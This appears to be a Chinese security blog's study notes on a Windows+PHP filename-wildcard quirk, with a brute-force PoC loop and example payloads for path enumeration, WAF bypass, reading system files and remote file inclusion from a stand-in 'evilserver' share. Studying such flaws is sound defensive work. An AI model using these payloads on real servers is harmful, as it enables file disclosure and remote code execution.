Windows+PHP=路径爆破?

今天在网上看到一个 win+php 组合的 Bug:Windows 下 php 中访问文件名使用 < > 将会被替换成 * ?,分别代表 N 个任意字符与 1 个任意字符。这篇是学习的测试记录

漏洞信息

Poc

1
2
3
4
5
6
7
<?php
for ($i=0; $i<255; $i++) {
$url = '1.ph' . chr($i);
$tmp = @file_get_contents($url);
if (!empty($tmp)) echo chr($i) . "\r\n";
}
?>

已知 1.php 存在,以上脚本访问的结果是:

1.php

1.phP

1.ph<

1.ph>

都能得到返回。

前两种能返回结果是总所周知的(因为 windows 的文件系统支持大小的互转的机制),另外的两种返回比较特殊:

在 win+php 中

1
字符”>”被替换成”?”,字符”<”被替换成”*”,而符号”(双引号)被替换成一个”.”字符

关于该 bug 可以利用的函数我们已经列了如下一表:

函数

利用方法总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
当调用 FindFirstFile()函数时,”<”被替换成”*”,这意味该规则可以使”<”替换多个任意字符,但是测试中发现并不是所有情况都如我们所愿。所以,为了确保能够使”<”被替换成”*”,应当采用”<<”。EXAMPLE:
include(‘shell<’);
或者:
include(‘shell<<’);
//当文件夹中超过一个以 shell 打头的文件时,
//该执行取按字母表排序后的第一个文件。

当调用 FindFirstFile()函数时,”>”被替换成”?”,这意味这”>”可以替换单个任意字符。EXAMPLE:
include(‘shell.p>p’);
//当文件中超过一个以 shell.p?p 通配时,
//该执行取按字母表排序后的第一个文件。

当调用 FindFirstFile()函数时,”””(双引号)被替换成”.”。EXAMPLE:
include(‘shell”php’);
//===>include(‘shell.php’);
如果文件名第一个字符是”.”的话,读取时可以忽略之。EXAMPLE:
fopen(‘.htacess’);
//==>fopen(‘htacess’);
//加上第一点中的利用 ==>fopen(‘h<<’);

文件名末尾可以加上一系列的/或者\的合集,你也可以在/或者\中间加上.字符,只要确保最后一位为”.” EXAMPLE:
fopen(“config.ini\\.// \/\/\/.”);==>
fopen(‘config.ini\./.\.’); ==>
fopen(‘config.ini/////.’)==>
fopen(‘config.ini…..’)
//译者注:此处的利用我不是很理解,有何作用?截断?

该函数也可以调用以”\\”打头的网络共享文件,当然这会耗费不短的时间。补充一点,如果共享名不存在时,该文件操作将会额外耗费 4 秒钟的时间,并可能触发时间响应机制以及 max_execution_time 抛错。所幸的是,该利用可以用来绕过 allow_url_fopen=Off 并最终导致一个 RFI(远程文件包含)EXAMPLE:
include (‘\\evilserver\shell.php’);

用以下方法还可以切换文件的盘名:
include(‘\\.\C:\my\file.php\..\..\..\D:\anotherfile.php’);
选择磁盘命名语法可以用来绕过斜线字符过滤
file_get_contents(‘C:boot.ini’);
//==> file_get_contents (‘C:/boot.ini’);
在 php 的命令行环境下(php.exe),关于系统保留名文件的利用细节。EXAMPLE:
file_get_contents(‘C:/tmp/con.jpg’);
//此举将会无休无止地从 CON 设备读取 0 字节,直到遇到 eof
EXAMPLE:
file_put_contents(‘C:/tmp/con.jpg’,chr(0×07));
//此举将会不断地使服务器发出类似哔哔的声音

更深入的利用方法

除了以上已经展示的方法,你可以用下面的姿势来绕过 WAF 或者文件名过滤

请思考该例:

1
2
3
4
<?php
file_get_contents("/images/".$_GET['a'].".jpg");
//or another function from Table 1, i.e. include().
?>

访问 test.php?a=../a<%00 可能出现两种结果:

1
2
3
warning: include(/images/../a<) [function.include]: failed to open stream:Invalid argument in...

Warning: include(/images/../a<) [function.include]: failed to open stream:Permission denied...

如果是第一种情况,说明不存在 a 打头的文件,第二种则存在。

此外,有记录显示,有时网站会抛出如下错误:

1
Warning: include(/admin_h1d3) [function.include]: failed to open stream: Permission denied..

这说明该文件夹下存在一个以上以 a 打头的文件(夹),并且第一个就是 admin_h1d3

本地实际测试

在 win10 上测试了一下,发现这个利用的语句很奇怪,似乎没有规律。

< 被替换成 * 是没错,但是 * 应该是前面字符重复 0-n 次。然而测试的时候发现

1<php 居然也可以。。。所以先记着 win+php 有这么个缺陷,以后要用到的时候再回来看看。

最后,win 下建立 .htacess 需要用 cmd 语句:

copy con .htaccess


来呀快活呀


Windows+PHP=路径爆破?
https://www.tr0y.wang/2018/04/08/WinPHPBug/
作者
Tr0y
发布于
2018年4月8日
更新于
2024年4月19日
许可协议